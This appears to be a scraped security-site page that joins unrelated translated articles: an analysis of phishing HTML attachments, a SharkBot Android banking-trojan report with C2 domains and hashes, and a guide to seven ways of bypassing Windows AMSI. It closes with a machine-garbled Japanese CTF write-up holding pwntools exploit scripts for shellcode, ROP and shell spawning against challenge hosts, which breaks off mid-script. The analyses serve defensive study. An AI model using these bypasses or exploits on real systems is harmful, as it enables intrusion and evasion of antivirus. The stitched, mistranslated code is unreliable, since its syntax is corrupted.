HireHackking

在網絡釣魚電子郵件中使用嵌入式HTML 文檔是網絡犯罪分子採用的標準技術。它消除了將鏈接放入電子郵件正文的需要，反垃圾郵件引擎和電子郵件防病毒通常可以輕鬆檢測到這些鏈接。 HTML 為偽裝網絡釣魚內容提供了比電子郵件更多的可能性。 網絡犯罪分子主要使用兩種類型的HTML 附件：帶有指向虛假網站鏈接的HTML 文件或成熟的網絡釣魚頁面。在第一種情況下，攻擊者不僅可以隱藏文件中的鏈接，還可以在用戶打開此文件時自動將用戶重定向到欺詐站點。第二種類型的HTML 附件可以完全跳過創建網站並節省託管成本：網絡釣魚表單和收集數據的腳本直接嵌入在附件中。此外，HTML 文件（如電子郵件）可以根據目標受害者和攻擊媒介進行修改，從而實現更加個性化的網絡釣魚內容。 帶有HTML 附件的示例電子郵件 網絡釣魚HTML 附件的結構HTML 附件中的網絡釣魚元素通常使用JavaScript 實現，它處理將用戶重定向到網絡釣魚站點或收集憑據並將其發送給詐騙者。 釣魚HTML 頁面及其源代碼 通常，HTML 頁面將數據發送到腳本中指定的惡意URL。一些附件完全（或大部分）由JS 腳本組成。 在電子郵件源代碼中，HTML 附件看起來像純文本，通常是Base64 編碼的。 電子郵件源代碼中的HTML 附件 如果文件包含明文的惡意腳本或鏈接，安全軟件可以快速解析並阻止它。為了避免這種情況，網絡犯罪分子會採取各種手段。 JavaScript 混淆JavaScript 混淆是用於偽裝HTML 附件的最常用技術之一。為了防止文件中的URL 被快速發現和阻止，網絡釣魚者會混淆網絡釣魚鏈接本身或整個腳本，有時甚至是整個HTML 文件。在某些情況下，網絡犯罪分子會手動混淆代碼，但他們通常使用現成的工具，其中許多工具是免費提供的，例如JavaScript Obfuscator。 例如，在文本編輯器中打開據稱來自匯豐銀行的釣魚郵件中的HTML 附件（見圖1），我們會看到一些相當混亂的JS 代碼，看起來既不提示打開鏈接，也不提示打開鏈接。任何其他有意義的動作。 HTML 附件中的混淆示例 然而，它實際上是一個將用戶重定向到釣魚網站的混淆腳本。為了偽裝釣魚鏈接，攻擊者使用了現成的工具，讓我們可以輕鬆地對腳本進行反混淆。 來自HSBC 銀行的電子郵件附件中的反混淆腳本：重定向用戶的鏈接 如果腳本、鏈接或HTML 頁面被手動混淆，則恢復原始代碼要困難得多。要檢測此類文件中的網絡釣魚內容，可能需要進行動態分析，其中涉及運行和調試代碼。 編碼有時攻擊者會使用更有趣的方法。例如，在一封網絡釣魚電子郵件中，我們發現了一個不尋常的HTML 附件。如上例所示，它包含JavaScript。由於代碼非常緊湊，人們可能會認為它與偽造的HSBC 電子郵件中的代碼相同——即將用戶重定向到網絡釣魚站點。但是在運行它時，我們發現了一個用這個小腳本編碼的完整的網絡釣魚頁面。 使用unescape() 方法的HTML 文件——文件的源代碼只包含五行，其中一行是空的 圖7. HTML 附件中的網絡釣魚頁面 網絡犯罪分子使用了一個有趣的技巧，其中涉及已棄用的JS 方法unescape()。此方法將“%xx”字符序列替換為傳遞給它的字符串中的ASCII 等效項。運行腳本並查看結果頁面的源代碼，我們會看到純HTML。 圖8. 生成的HTML 文件 JavaScript 現在使用decodeURI() 和decodeURIComponent() 方法代替unescape()，但大多數現代瀏覽器仍然支持unescape()。我們不能肯定為什麼攻擊者選擇了一種已棄用的方法，但這可能是因為現代方法更有可能被反垃圾郵件引擎解釋和檢測到。 統計數據2022 年前四個月，卡巴斯基安全解決方案檢測到近200 萬封包含惡意HTML 附件的電子郵件。其中近一半(851,328) 在3 月份被檢測到並被阻止。 1 月是最平靜的月份，我們的反垃圾郵件解決方案檢測到299,859 封帶有網絡釣魚HTML 附件的電子郵件。 結論網絡釣魚者使用各種技巧來繞過電子郵件攔截，並引誘盡可能多的用戶訪問他們的欺詐網站。一種常見的技術是帶有部分或完全混淆代碼的HTML 附件。 HTML 文件允許攻擊者使用腳本、混淆惡意內容以使其更難檢測，並將網絡釣魚頁面作為附件而不是鏈接發送。

近年來Android 惡意軟件的數量有所增加，尤其是Android 銀行惡意軟件。其中一個系列是一款名為SharkBot 的Android 銀行惡意軟件。在我們的研究中，我們注意到該惡意軟件是通過Google Play 官方商店分發的。 我們在Google Play 商店中發現了很多的SharkBot droppers，C2 服務器也用於所有其他的dropper。發現後，我們立即向Google 報告了這一情況。有關新發現的SharkBot dropper 應用程序的Google Play 商店URL，請參閱下面的IoC 部分。 0x01 總體概括SharkBot 是Cleafy 團隊於2021 年10 月末發現的一種Android 銀行惡意軟件。在撰寫本文時，SharkBot 惡意軟件與Flubot、Cerberus/Alien、Anatsa/Teabot、Oscorp 等其他Android 銀行惡意軟件沒有任何關係。 https://www.cleafy.com/cleafy-labs/sharkbot-a-new-generation-of-android-trojan-is-targeting-banks-in-europeCleafy 文章指出，SharkBot 的主要目標是通過自動轉賬系統(ATS) 從從受感染的設備發起資金轉賬。據我們觀察，這種技術是一種高級攻擊技術，在Android 惡意軟件中並不經常使用。它使攻擊者能夠在合法的移動銀行應用程序中自動填寫字段並啟動匯款，而其他Android 銀行惡意軟件（如Anatsa/Teabot 或Oscorp）需要現場操作員授權匯款。這種技術還允許攻擊者以最小的努力擴大他們的成果。 ATS 功能允許惡意軟件接收要模擬的事件列表，並將模擬它們以進行匯款。由於此功能可用於模擬觸摸、點擊和按鈕按下，因此它不僅可用於自動轉賬，還可用於安裝其他惡意應用程序或組件。這就是我們在Google Play 商店中找到的SharkBot 版本的情況，它似乎是SharkBot 的簡化版本，具有最低要求的功能，例如ATS，可以在初始安裝後的某個時間安裝惡意軟件的完整版本。 由於是通過Google Play 商店規避防病毒軟件進行分發的，受感染設備必須下載安裝才能傳播惡意應用程序。 SharkBot 通過利用“Direct Reply”的Android 功能來實現這一點。此功能用於自動發送回复通知以及下載虛假防病毒應用程序的消息。這種利用直接回复功能的傳播策略最近出現在另一個名為Flubot的銀行惡意軟件中，該惡意軟件由ThreatFabric 發現。 與其他家族不同的是，SharkBot 很可能使用ATS 還繞過多因素身份驗證機制，包括生物特徵等行為檢測，同時它還包括更多經典功能來竊取用戶的憑據。 1.憑證竊取功能SharkBot 實施了四種主要策略來竊取Android 系統中的銀行憑證： 注入（覆蓋攻擊）：一旦檢測到官方銀行應用程序已打開，SharkBot 就可以通過顯示帶有虛假登錄網站（網絡釣魚）的WebView 來竊取憑據。 鍵盤記錄： Sharkbot可以通過記錄可訪問性事件（與文本字段更改和單擊按鈕相關）並將這些日誌發送到命令和控制服務器（C2）來竊取憑據。 短信攔截： Sharkbot 具有攔截/隱藏短信的能力。 遠程控制/ATS：Sharkbot 能夠獲得對Android 設備的完全遠程控制（通過輔助功能服務）。 對於大多數這些功能，SharkBot 需要受害者啟用Accessibility Permissions Services。這些權限允許Android 銀行惡意軟件攔截用戶與用戶界面交互產生的所有可訪問性事件，包括按鈕按下、觸摸、TextField 更改（對鍵盤記錄功能有用）等。攔截的可訪問性事件還允許檢測前台應用程序，因此銀行惡意軟件也使用這些權限來檢測目標應用程序何時打開，以進行網絡注入以竊取用戶的憑據。 2.軟件分發Sharkbot 通過Google Play 商店進行分發，但也使用了Android 惡意軟件中的新技術：“Direct reply”通知功能。借助此功能，C2 可以向惡意軟件發送命令消息，該命令消息將用於Direct reply受感染設備消息。 Flubot最近引入了此功能，以使用受感染的設備分發惡意軟件，但似乎SharkBot攻擊者在最近的版本中也加入了此功能。 在下圖中，我們可以看到SharkBot 用於攔截新通知的代碼，並自動將收到的來自C2 的消息進行回复。 在下圖中，我們可以看到受感染的測試設備收到的“autoReply”命令，其中包含一個Bit.ly 短鏈接，該鏈接會重定向到Google Play 商店。 我們檢測到SharkBot於去年2 月28 日在Google Play 上發布，最後一次更新是在今年2 月10 日，該應用程序已經發布了一段時間。這個簡化版本使用相似協議與C2 通信，RC4 加密Payload和公共RSA 密鑰用於加密RC4 密鑰，因此C2 服務器可以使用相同的密鑰解密請求並加密響應。這個SharkBot 版本，我們可以稱之為SharkBotDropper，主要用於從C2 服務器下載一個全功能的SharkBot，它將使用自動傳輸系統(ATS) 安裝（模擬點擊和触摸，具有Accessibility 權限）。 這個惡意dropper 在Google Play 商店中作為假的防病毒軟件發布，它實際上有兩個主要功能和從C2 接收命令： 使用“Direct reply”功能傳播惡意軟件：它可以接收帶有消息的“Direct reply”命令，該消息應用於Direct reply受感染設備中收到的任何通知。我們研究發現，它一直在通過Bit.ly URL 短鏈接傳播相同的Google Play dropper。 Dropper+ATS：ATS 功能用於安裝從C2 獲取的下載的SharkBot 示例。在下圖中，我們可以看到從C2 接收到的解密響應請求，其中dropper 接收命令“ b ”以從提供的URL 下載完整的SharkBot 樣本，並模擬ATS 事件以安裝惡意軟件。 使用此命令，從Google Play 商店安裝的應用程序能夠為其下載的全功能SharkBot樣本安裝和啟用輔助功能權限。它將用於最終執行ATS 欺騙，以從受害者那裡竊取金錢和憑證。 在Google Play 商店中發布的假殺毒應用SharkBotDropper 的下載量已超過1,000 次，還有一些假評論，如“效果很好”，還有一些受害者的評論，他們意識到這個應用做了一些奇怪的事情。 0x02 技術分析1.C2協議用於與C2 服務器通信的協議是基於HTTP 的協議。 HTTP 請求是明文發出的，因為沒有使用HTTPs。即便如此，包含發送和接收信息的實際Payload是使用RC4 加密的。用於加密信息的RC4 密鑰是為每個請求隨機生成的，並使用每個樣本中硬編碼的RSA 公鑰進行加密。這樣，C2 可以解密加密的密鑰（ HTTP POST 請求中的rkey字段）並最終解密發送的Payload（ HTTP POST 請求中的rdata字段）。 如果看一下解密後的Payload，可以看到SharkBot 是如何簡單地使用JSON 發送有關受感染設備的不同信息並從C2 接收要執行的命令。在下圖中，我們可以看到從受感染設備發送的解密後的RC4 Payload。 請求中發送的兩個重要字段是： ownerID botnetID 這些參數是硬編碼的，並且在分析的樣本中具有相同的值。我們猜測這些值將來可用於識別此惡意軟件的不同買家，根據我們的調查，該惡意軟件尚未在地下論壇上出售。 2.域生成算法SharkBot 包括一個或兩個註冊的Domain/URL，但如果硬編碼的C2 服務器被關閉，它還包括一個域生成算法(DGA)，以便將來能夠與新的C2 服務器通信。 DGA 使用當前日期和特定的後綴字符串('pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf') 最終將其編碼為base64 並獲取前19 個字符。然後，它附加不同的TLD 以生成最終的候選域。 使用的日期元素是： 一年中的一周（代碼中的v1.get(3)） 年份（代碼中的v1.get(1)） 它使用'+'運算符，但由於年份的星期和年份是整數，因此它們是相加的，因此例如：對於2022年的第二週，生成的要進行base64編碼的字符串為：2 + 2022 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”=2024 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”=“2024pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”。 在以前版本的SharkBot（從2021 年11 月至12 月）中，它僅使用一年中的當前一周來生成域。將年份加入到生成算法中似乎是為了更好地支持2022 年的更新。 3.木馬命令SharkBot 可以從C2 服務器接收不同的命令，以便在受感染的設備中執行不同的操作，例如發送短信、下載文件、注入等。它可以接收和執行的命令列表如下： smsSend : 用於由TA 向指定的電話號碼發送短信 updateLib：用於請求惡意軟件從指定的URL 下載新的JAR 文件，其中應包含惡意軟件的更新版本 updateSQL：用於發送要在SQLite 數據庫中執行的SQL 查詢，Sharkbot 使用它來保存惡意軟件的注入等配置 stopAll：用於重置/停止ATS 功能，停止正在進行的自動化功能。 updateConfig：用於向惡意軟件發送更新的配置。 uninstallApp：用於從受感染設備上卸載指定的應用程序 changeSmsAdmin：用於更改短信管理器應用 getDoze : 用於檢查是否啟用忽略電池優化的權限，如果未啟用，則顯示Android 設置以禁用它們 sendInject：用於顯示覆蓋以竊取用戶的憑據 getNotify：如果沒有為惡意軟件啟用通知監聽器設置，則進行顯示。啟用此權限後，Sharkbot 將能夠攔截通知並將其發送到C2 APP_STOP_VIEW：用於關閉指定的應用程序，因此每次用戶嘗試打開該應用程序時，Accessibility Service 都會關閉它 downloadFile : 用於從指定的URL 下載一個文件 updateTimeKnock：用於更新Robot的最後一次請求時間戳 localATS：用於啟用ATS 攻擊。它包括一個JSON 數組，其中包含它應該模擬以執行ATS（按鈕單擊等）的不同事件/動作 4.ATS技術SharkBot 的一個獨特之處在於它使用了一種稱為自動傳輸系統(ATS) 的技術。 ATS 是針對Android 的銀行惡意軟件使用的一種相對較新的技術。 總而言之，ATS 與webinject 類似，只是用於不同的目的。它使用憑證在端點上自動啟動電子傳輸，這樣就不需要登錄和繞過2fa 或其他反欺詐措施，並不會收集憑證用於使擴展成果。然而，它是非常個性化的，需要對每個銀行、金額、貨幣等進行相當多的維護。這可能是ATS 在(Android)銀行惡意軟件中並不流行的原因之一。 一旦登錄到他們的銀行應用程序，惡意軟件就會收到一系列事件（點擊/觸摸、按鈕按下等）以特定順序進行模擬。這些事件用於模擬受害者與銀行應用程序的交互以進行匯款，就好像用戶自己進行匯款一樣。 這樣，通過模擬不同的事件從受害者的設備進行匯款，這使得欺詐檢測系統更難以檢測欺詐行為。 5.IOC樣本哈希： a56dacc093823dc1d266d68ddfba04b2265e613dcc4b69f350873b485b9e1f1c (Google Play SharkBotDropper) 9701bef2231ecd20d52f8fd2defa4374bffc35a721e4be4519bda8f5f353e27a (Dropped SharkBot v1.64.1) 20e8688726e843e9119b33be88ef642cb646f1163dce4109b8b8a2c792b5f9fc (Google play SharkBot dropper) 187b9f5de09d82d2afbad9e139600617685095c26c4304aaf67a440338e0a9b6 (Google play SharkBot dropper) e5b96e80935ca83bbe895f6239eabca1337dc575a066bb6ae2b56faacd29dd (Google play SharkBot dropper) SharkBotDropper C2： hxxp://statscodicefiscale[.]xyz/stats/ 用於分發惡意軟件的URL： hxxps://bit[.]ly/34ArUxI Google Play 商店網址： https://play.google.com/store/apps/details?id=com.abbondioendrizzi.antivirus.supercleaner https://play.google.com/store/apps/details?id=com.abbondioendrizzi.tools.supercleaner https://play.google.com/store/apps/details?id=com.pagnotto28.sellsourcecode.alpha https://play.google.com/store/apps/details?id=com.pagnotto28.sellsourcecode.supercleaner SharkBot 的C2 服務器/域名： n3bvakjjouxir0zkzmd[.]xyz (185.219.221.99) mjayoxbvakjjouxir0z[.]xyz (185.219.221.99) SharkBot 中用於加密rc4密鑰的RSA 公鑰： MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2R7nRj0JMouviqMisFYt0F2QnScoofoR7svCcjrQcTUe7tKKweDnSetdz1A+PLNtk7wKJk+SE3tcVB7KQS/WrdsEaE9CBVJ5YmDpqGaLK9qZhAprWuKdnFU8jZ8KjNh8fXyt8UlcO9ABgiGbuyuzXgyQ VbzFfOfEqccSNlIBY3s+LtKkwb2k5GI938X/4SCX3v0r2CKlVU5ZLYYuOUzDLNl6KSToZIx5VSAB3VYp1xYurRLRPb2ncwmunb9sJUTnlwypmBCKcwTxhsFVAEvpz75opuMgv8ba9Hs0Q21PChxu98jNPsgIwUn3xmsMUl0rNgBC3MaPs8nSgcT4oUXaVwIDAQAB在Google Play SharkBotDropper 中用於加密rc4密鑰的RSA 公鑰： MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu9qo1QgM8FH7oAkCLkNO5XfQBUdl+pI4u2tvyFiZZ6hMZ07QnlYazgRmWcC5j5H2iV+74gQ9+1cgjnVSszGbIwVJOQAEZGRpSFT7BhAhA4+PTjH6CCkiyZTk7zURvgBCrXz6+B1XH0OcD4YUYs4OGj8P d2KY6zVocmvcczkwiU1LEDXo3PxPbwOTpgJL+ySWUgnKcZIBffTiKZkry0xR8vD/d7dVHmZnhJS56UNefegm4aokHPmvzD9p9n3ez1ydzfLJARb5vg0gHcFZMjf6MhuAeihFMUfLLtddgo00Zs4wFay2mPYrpn2x2pYineZEzSvLXbnxuUnkFqNmMV4UJwIDAQAB

Windows 開發了反惡意軟件掃描接口(AMSI) 標準，允許開發人員在其應用程序中集成惡意軟件防禦。 AMSI 允許應用程序與系統上安裝的任何防病毒軟件進行交互，並防止基於腳本的動態惡意軟件執行。我們將在本文中了解更多關於AMSI、代碼實現和一些眾所周知的繞過方法。 背景簡而言之，它是微軟提供的基於腳本的惡意軟件掃描API，可以集成到任何應用程序中，以掃描和檢測用戶輸入的完整性，從而保護應用程序，從而保護消費者免受惡意軟件的攻擊。例如，一個消息應用程序可能會在將消息轉發給接收者之前掃描帶有AMSI 的消息以查找惡意軟件。 AMSI是獨立於供應商的，並提供開放的Win32 API 和COM 接口供開發人員使用。由於Microsoft 自己管理AMSI，因此會自動更新最新的惡意軟件簽名。因此，開發人員可以很容易地集成AMSI，以保護其消費者免受基於腳本的動態惡意軟件的攻擊。 AMSI 適用於基於簽名的檢測。這意味著對於每個特定的惡意關鍵字、URL、函數或過程，AMSI 在其數據庫中都有一個相關的簽名。因此，如果攻擊者再次在他的代碼中使用相同的關鍵字，AMSI 就會立即阻止執行。 惡意軟件命名規則在閱讀有關AMSI 工作原理的更多信息之前，讓我們先了解一下惡意軟件是如何命名的。在分析中，Windows 通常會檢測到惡意軟件，但分析人員無法確定惡意軟件的確切細節和行為。計算機防病毒研究組織(CARO) 給出了惡意軟件的標準命名約定。例如，基於快捷方式的caphaw 後門命名如下： AMSI 工作原理作為一名開發人員，你可以使用AMSI 提供使用AMSI 的惡意軟件防禦。假設你創建了一個應用程序，該應用程序輸入一個腳本並使用像Powershell 這樣的腳本引擎執行。在進行輸入時，可以調用AMSI 以首先檢查惡意軟件。 Windows 提供COM 和Win32 API 來調用AMSI。 AMSI 的執行流程如下： AMSI API 是開放的，因此任何殺毒軟件都可以從其函數中讀取數據。此時，一個Windows 腳本就會運行。當它通過AMSI 時，amsi.dll 被注入到與我們程序相同的虛擬內存中。這個amsi.dll 有各種可以評估代碼的函數。但是，實際的掃描任務是由這兩個函數執行的： AmsiScanString() AmsiScanBuffer()這些函數的作用是評估代碼。如果代碼是乾淨的，則結果最終會傳遞給殺毒軟件提供程序類，然後使用RPC 調用從那里傳遞給殺毒軟件服務。如果代碼可疑，則會被AMSI 阻止。 AMSI 繞過方法既然我們已經討論了AMSI 的基礎知識，我們將討論一些非常著名的繞過AMSI 的技術。為了執行橫向移動/特權升級的任意代碼，滲透測試人員通常需要繞過AMSI。 如要討論所有繞過方法則超出了本文的範圍，因為每天都有新方法出現。本文將討論其中最突出的幾個，並在Windows 10 1809版本上進行了測試。值得注意的是，隨著簽名的不斷更新，Windows的最新版本(超過1903年)幾乎阻止了互聯網上所有可用的方法。 注意：AMSI 會阻止某些關鍵字，如“invoke-mimikatz”或“amsiutils”，因為它們被廣泛用於利用，因此，作為概念證明，我們將僅在繞過後運行這些命令。此處不會繞過實際的有效載荷。 Microsoft 已將AMSI 集成在powershell 終端（powershell.exe 應用程序）中，該終端接收輸入並通過Powershell 引擎對其進行解析。如果我們打開進程黑客並蒐索amsi.dll，我們會看到amsi 正在powershell 終端中運行，任何輸入都會首先被掃描。 方法1：Powershell降級如果你正在運行基於powershell 的有效負載並且AMSI 阻止了它，你可以將你的powershell 版本降級到2.0，因為AMSI 僅在2.0 之後的版本中受支持。首先，你可以看到我們的關鍵字被amsi屏蔽了。 讓我們檢查一下PS 的當前版本，然後降級到版本2 並再次運行這些被阻止的命令。 但正如你想像的那樣，這裡最大的缺點是許多現代函數或腳本無法在Powershell 2.0 上運行。 方法2：混淆混淆是指使代碼變得複雜和不可讀的技巧。 AMSI 根據某些關鍵字檢測簽名，因此對這些關鍵字進行模糊處理是有效的。例如，讓我們混淆invoke-mimikatz 命令 如你所見，只需斷開一個字符串並使用+運算符將它們連接起來，這樣就可以繞過AMSI。 然而，這種技術也有它自己的缺點。有效載荷可能會觸發AMSI多次。在每次運行有效負載後，一直對關鍵字進行模糊處理實際上非常耗時，而且會產生噪音。因此，手動混淆一直對關鍵字進行模糊處理實際上非常耗時，而且會產生噪音最好。 RhytmStick 開發了這個工具“AmsiTrigger”，它可以針對AMSI 掃描腳本/有效負載，並告訴我們哪些行會觸發AMSI，然後我們可以混淆它們！你可以在此處下載該工具。 現在，我們使用以下命令創建了一個名為demo.ps1 的腳本 我想使用AmsiTrigger 對照AMSI 進行檢查。具體過程如下： 現在，就可以知道AMSI 阻止執行的行。我們可以繼續使用字符串連接方法對它們進行混淆，例如： 現在，它們可以運行並成功繞過AMSI！ 你也可以嘗試https://amsi.fail 來混淆你的代碼。 方法3：強制執行錯誤Matt Graeber 在他的推文中談到了繞過AMSI 的方法。如果在上述場景中啟動AMSI 掃描，則存在一個名為amsiInitFailed() 的函數，該函數將拋出0。這種繞過基本上是為amsiInitFailed 分配一個布爾True 值，以便AMSI 初始化失敗，不會對當前進程進行任何掃描！代碼如下： 這之後，許多人發布了相同方法的不同版本。在某些方法中使用字節碼，在其他方法中，替換函數或替換字符串，但邏輯都相同。 方法4：內存劫持Daniel Duggan 在他的博客中發布了關於可以繞過AMSI 的內存劫持技術。其邏輯是掛鉤函數AmsiScanBuffer() 以便它始終返回句柄AMSI_RESULT_CLEAN 指示AMSI 是否發現惡意軟件。可以使用Rohitab 的API 監控工具監控API 響應。 首先，通過我們下載Invoke-Mimikatz 腳本，查看AMSI 是否正常工作。 為了減少將代碼編譯為DLL 的麻煩，你可以查看我的fork。下載後，確保將主包的名稱從“AmsiScanBufferBypass”更改為“Project”或任何你喜歡的名稱，因為AMSI 也會阻止字符串“AmsiScanBufferBypass”！ 下載之後，進入發布文件夾，看到一個名為ASBBypass.dll的DLL。請注意，由於我們現在有一個DLL，它也可以與我們的EXE 有效負載集成，並且會繞過AMSI！ 這樣內聯C# 代碼僅使用powershell 終端激活補丁！ 如你所見，amsi 現在已經被繞過了！ 方法5：內存劫持（混淆操作碼）在Rasta Mouse (Daniel Duggan) 技術開始被檢測到後，人們對代碼進行了各種更改以使其再次FUD。 Fatrodzianko 在他的博客中發布了一種這樣的技術。他使用操作碼混淆了相同的代碼，可以查看腳本。 要運行腳本，只需下載它，重命名它（以避免AMSI 檢測關鍵字），然後像這樣運行： 如你所見，我們現在已經成功繞過了AMSI。 方法6：使用反射技術繞過AMSI根據微軟的說法，Reflection 提供了描述程序集、模塊和類型的對象（Type 類型）。你可以使用反射來動態創建類型的實例，將類型綁定到現有對象，或從現有對象獲取類型並調用其方法或訪問其字段和屬性。如果你在代碼中使用屬性，反射可以讓你訪問它們。 Paul Laine 在contextis.com 上發布了原始的內存劫持方法。 Shantanu Khandelwal 使用Matt Graeber 的反射技術將相同的代碼轉換為完整的內存補丁。 Shantanu 使代碼更加隱秘，因為現在沒有留下任何磁盤上的繞過製品。 我們不會在本文中演示原始補丁，但反射更新可以下載。確保下載並重命名腳本並避免使用“amsibypass”等關鍵字，因為它們會被阻止。我已將其重命名為“am-bp-reflection.ps1” 方法7：Nishang All in One 腳本Nikhil Mittal 在他著名的工具“Nishang”中添加了一個AMSI 繞過腳本。該腳本結合了6 種不同的方法來一次運行繞過AMSI。具體如下： unload——Matt Graeber 的方法。從當前PowerShell 會話中卸載AMSI。 unload2——Matt Graeber 的另一種方法。從當前PowerShell 會話中卸載AMSI。 unloadsilent——Matt Graeber 的另一種方法。卸載AMSI 並避免WMF5 自動記錄。 unloadobfuscated——上面的“卸載”方法使用Daneil Bohannon 的Invoke-Obfuscation 進行了混淆，這就避免了WMF5 自動記錄。 dllhijack——Cornelis de Plaa 的方法。代碼中使用的amsi.dll來自p0wnedshell。 psv2——如果.net 2.0.50727 在Windows 10 上可用。 PowerShell v2 已啟動，它不支持AMSI。 我們只需下載腳本並運行，該工具將使用有效方法自動繞過AMSI。例如，這裡WMF5 自動記錄繞過已經奏效。此方法可以從當前終端卸載AMSI 並繞過它。 從這裡下載腳本並將其重命名為“nishang.ps1”並像這樣運行它： 總結在本文中，我們討論了AMSI的工作流程以及繞過它們的7 種方法。需要注意的是，還有比本文介紹的更多的方法，但本文的目的只是討論最廣為人知的7 種繞過AMSI 的方法。

crypto xor 1.環境を一連の文字として開きます。文字列は、XORスクリプトまたはオンラインデコードツール（1つの暗号化のみ）を使用してデコードできます キーは模倣です フラグを復号化します オンライン復号化 またはスクリプト：＃ciphertext ciphertext='0b050c0e180e585f5c52555c55454545c0a0f44535f0f0f5e445658585844055d0f5d0f0f0f555590555555555550914 "=bytes.fromhex（ciphertext）＃キーが「キー」であると仮定すると、キー=b'mimic '＃xorを変更できます。文字列にバイテを文字strinexextextextext=plantext_bytes.decodes.decodes（ 'utf-8'）print（ 'utf-8'）print（plaintext） pwn ezcode JSONのダイレクトシェルコードの復活したjsonのダイレクトシェルコードのセット、長さ0x16を制限します。 PWNインポートから * JSONをインポートします コンテキスト（log_level='debug'、os='linux'、arch='amd64'） pwnfile='./vuln' io=process（pwnfile） #io=remote（） elf=elf（pwnfile） libc=elf（ '/lib/x86_64-linux-gnu/libc.so.6'） #libc=elf（ './libc.so.6'） shellcode='' ' Sal Edi、12 MOV DX、7 MOV AX、10 syscall CDQ Xor Eax、Eax MOV ESI、ECX Xor EDI、EDI syscall '' ' shellcode1=asm（shellcode） print（ 'len-'、len（shellcode1）） payload1={ 'shellcode': shellcode1.hex（） } io.sendlineafter（ 'input:'、json.dumps（payload1）を入力してください） shellcode=asm（ '' '' MOV RDI、0x999800d Xor ESI、ESI XOR RDX、RDX Mov Rax、2 syscall MOV RDI、Rax MOV RSI、0x9998000+0x300 MOV EDX、0x40 Xor Eax、Eax syscall MOV EDI、1 MOV RSI、0x9998000+0x300 Mov Rax、1 syscall '' '） io.sendline（b './flag \ x00 \ x00 \ x00'+シェルコード） io.Interactive（） signin_revenge スタックオーバーフロー、パイなし、カナリアなし、rop漏れのある住所を構築してからORW PWNインポートから * コンテキスト（log_level='debug'、os='linux'、arch='amd64'） pwnfile='./vuln' ＃io=process（pwnfile） io=remote（ 'pwn-16255a8951.challenge.xctf.org.cn'、9999、ssl=true） elf=elf（pwnfile） libc=elf（ './libc.so.6'） def debug（）: gdb.attach（io） 一時停止（） pop_rdi=0x00000000401393 puts_got=elf.got ['puts'] puts_plt=elf.plt ['puts'] main_adr=elf.symbols ['main'] ＃デバッグ（） pay=b'a '*0x108+flat（pop_rdi、puts_got、puts_plt、main_adr） io.sendlineafter（ '移動してpwn！\ n'、支払い） puts_adr=u64（io.recvuntil（ '\ x7f'）[-6:] .ljust（8、b '\ x00'）） libc_base=puts_adr-libc.sym ['puts'] pop_rdx=libc_base +0x00000000142c92 pop_rsi=libc_base +0x00000000002601f pop_rbp=libc_base +0x0000000000226c0 pop_rax=libc_base +0x0000000000036174 leave_ret=0x4012ee read=0x04012d6＃0x130 BSS=0x404000+0x800 flag_adr=bss+0x98 op=libc_base + libc.symbols ['open'] re=libc_base + libc.symbols ['read'] wr=libc_base + libc.symbols ['write'] pay=b'a '*0x100+p64（bss-8）+flat（pop_rax、bss、read） io.sendafter（ '移動してpwn！\ n'、支払い） ＃デバッグ（） orw=flat（pop_rdi、flag_adr、pop_rsi、0、op、 pop_rdi、3、pop_rsi、flag_adr+0x200、pop_rdx、0x100、re、 pop_rdi、1、pop_rsi、flag_adr+0x200、pop_rdx、0x40、wr）+b './flag \ x00' io.sendline（orw） io.interactive（） qwen MEMUポインター、および境界を越えて0x20バイトに書き込むことができます。 次に、バックドアを使用して/proc/self/mapsを読んでメモリ情報を取得し、libc_baseを介して2つのガジェットを取得します 0x000000000000004EE21 : POP RDX; RSP、0x38を追加します。ポップrbx; POP RBP; ret 0x0000000000000D10BE : XOR EAX、EAX; RSPを追加、8; ret メニューポインターをポップrdxとしてハイジャックします。 RSP、0x38を追加します。ポップrbx; POP RBP; ret、読み取りによって書かれた0x20バイトにジャンプし、システム（ "/bin/sh"）を実行してシェルを取得します exp PWNインポートから * def debug（c=0）: if（c）: gdb.attach（p、c） else: gdb.attach（p） 一時停止（） def get_sb（）: return libc_base + libc.sym ['system']、libc_base + next（libc.search（b '/bin/sh \ x00'）） ＃---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- S=Lambdaデータ: P.Send（データ） sa=lambdaテキスト、データ:p.sendafter（テキスト、データ） SL=Lambdaデータ:p.sendline（data） sla=lambdaテキスト、データ:p.sendlineafter（テキスト、データ） r=lambda num=4096 :p.recv（num） rl=lambdaテキスト:p.recvuntil（テキスト） pr=lambda num=4096 :print（p.recv（num）） inter=lambda :p.interactive（） l32=lambda :U32（p.recvuntil（b '\ xf7'）[-4:] .ljust（4、b '\ x00'）） l64=lambda :U64（p.recvuntil（b '\ x7f'）[-6:] .ljust（8、b '\ x00'）） uu32=lambda :u32（p.recv（4）.ljust（4、b '\ x00'）） uu64=lambda :u64（p.recv（6）.ljust（8、b '\ x00'）） int16=lambdaデータ:INT（データ、16） LG=Lambda S、num :p.success（ '％s -0x％x'％（s、num）） ＃---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Context（os='linux'、arch='amd64'、log_level='debug'） p=remote（ 'pwn-bc7e9f0275.challenge.xctf.org.cn'、9999、ssl=true） #p=process（ 'pwn1'） elf=elf（ 'pwn1'） libc=elf（ 'libc.so.6'） #debug（ 'b *$ rebase（0x1022）\ n'） 範囲のIの場合（5）: sla（b '\ xbc \ x89 \ xef \ xbc \ x9a'、str（i） + '0'） pl=b'a '*0x8 + p16（0x1508） sa（b'say？ '、pl） sla（b'game [y/n] '、b'n'） sla（b '\ xbc \ x89 \ xef \ xbc \ x9a'、 '111 111'） SLA（b'administrator key \ n '、str（0x6b8b4567）） file_name=b '/proc/self/maps' sla（b'logged in！\ n '、file_name） rl（b'デバッグ情報は次のとおりです\ n '） pro_base=int（r（12）、16） rl（b'libc.so.6 \ n '） libc_base=int（r（12）、16）-0x1e7000 lg（ 'pro_base'、pro_base） lg（ 'libc_base'、libc_base） 範囲のIの場合（5）: sla（b '\ xbc \ x89 \ xef \ xbc \ x9a'、str（i） + '0'） ＃0x00000000000004EE21 : POP RDX; 